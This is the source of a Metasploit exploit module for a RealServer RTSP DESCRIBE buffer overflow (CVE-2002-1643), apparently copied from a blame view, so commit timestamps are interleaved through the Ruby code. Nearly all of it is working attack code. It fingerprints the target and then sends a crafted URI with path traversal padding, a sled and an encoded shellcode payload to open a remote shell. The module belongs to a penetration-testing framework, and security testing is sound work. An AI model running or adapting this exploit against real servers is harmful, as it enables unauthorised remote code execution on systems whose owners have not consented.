2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-10-11 09:18:01 +00:00
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/exploit/http'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = GreatRanking
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2006-10-11 09:18:01 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-10-11 09:18:01 +00:00
|
|
|
'Name' => 'RealServer Describe Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in RealServer 7/8/9
|
|
|
|
and was based on Johnny Cyberpunk's THCrealbad exploit. This
|
|
|
|
code should reliably exploit Linux, BSD, and Windows-based
|
|
|
|
servers.
|
|
|
|
},
|
|
|
|
'Author' => 'hdm',
|
2007-02-18 00:10:39 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-10-11 09:18:01 +00:00
|
|
|
'References' =>
|
|
|
|
[
|
2009-12-06 02:30:42 +00:00
|
|
|
[ 'CVE', '2002-1643' ],
|
2006-10-11 09:18:01 +00:00
|
|
|
[ 'OSVDB', '4468'],
|
2010-06-25 20:53:12 +00:00
|
|
|
[ 'URL', 'http://lists.immunitysec.com/pipermail/dailydave/2003-August/000030.html']
|
2006-10-11 09:18:01 +00:00
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 2000,
|
2010-06-25 20:53:12 +00:00
|
|
|
'BadChars' => "\x00\x0a\x0d\x25\x2e\x2f\x5c\xff\x20\x3a\x26\x3f\x2e\x3d"
|
2006-10-11 09:18:01 +00:00
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2006-10-11 09:18:01 +00:00
|
|
|
[
|
2010-04-30 08:40:19 +00:00
|
|
|
[
|
2006-10-11 09:18:01 +00:00
|
|
|
'Universal',
|
|
|
|
{
|
|
|
|
'Platform' => [ 'linux', 'bsd', 'win' ]
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Dec 20 2002',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
2010-06-25 20:53:12 +00:00
|
|
|
res = send_request_raw(
|
|
|
|
{
|
|
|
|
'method' => 'OPTIONS',
|
|
|
|
'proto' => 'RTSP',
|
|
|
|
'version' => '1.0',
|
|
|
|
'uri' => '/'
|
|
|
|
}, 5)
|
2010-07-01 23:33:07 +00:00
|
|
|
|
2010-06-25 20:53:12 +00:00
|
|
|
info = http_fingerprint({ :response => res })
|
2010-04-06 04:58:03 +00:00
|
|
|
if res and res['Server']
|
|
|
|
print_status("Found RTSP: #{res['Server']}")
|
2006-10-11 09:18:01 +00:00
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
2010-06-25 20:53:12 +00:00
|
|
|
Exploit::CheckCode::Safe
|
2006-10-11 09:18:01 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
print_status("RealServer universal exploit launched against #{rhost}")
|
|
|
|
print_status("Kill the master rmserver pid to prevent shell disconnect")
|
|
|
|
|
2009-11-16 18:28:34 +00:00
|
|
|
encoded = Rex::Text.to_hex(payload.encoded, "%")
|
2006-10-11 09:18:01 +00:00
|
|
|
|
2006-12-28 23:42:36 +00:00
|
|
|
res = send_request_raw({
|
2006-10-11 09:18:01 +00:00
|
|
|
'method' => 'DESCRIBE',
|
2006-12-28 23:42:36 +00:00
|
|
|
'proto' => 'RTSP',
|
|
|
|
'version' => '1.0',
|
|
|
|
'uri' => "/" + ("../" * 560) + "\xcc\xcc\x90\x90" + encoded + ".smi"
|
|
|
|
}, 5)
|
2006-10-11 09:18:01 +00:00
|
|
|
|
|
|
|
handler
|
|
|
|
end
|
|
|
|
|
2009-11-16 18:28:34 +00:00
|
|
|
end
|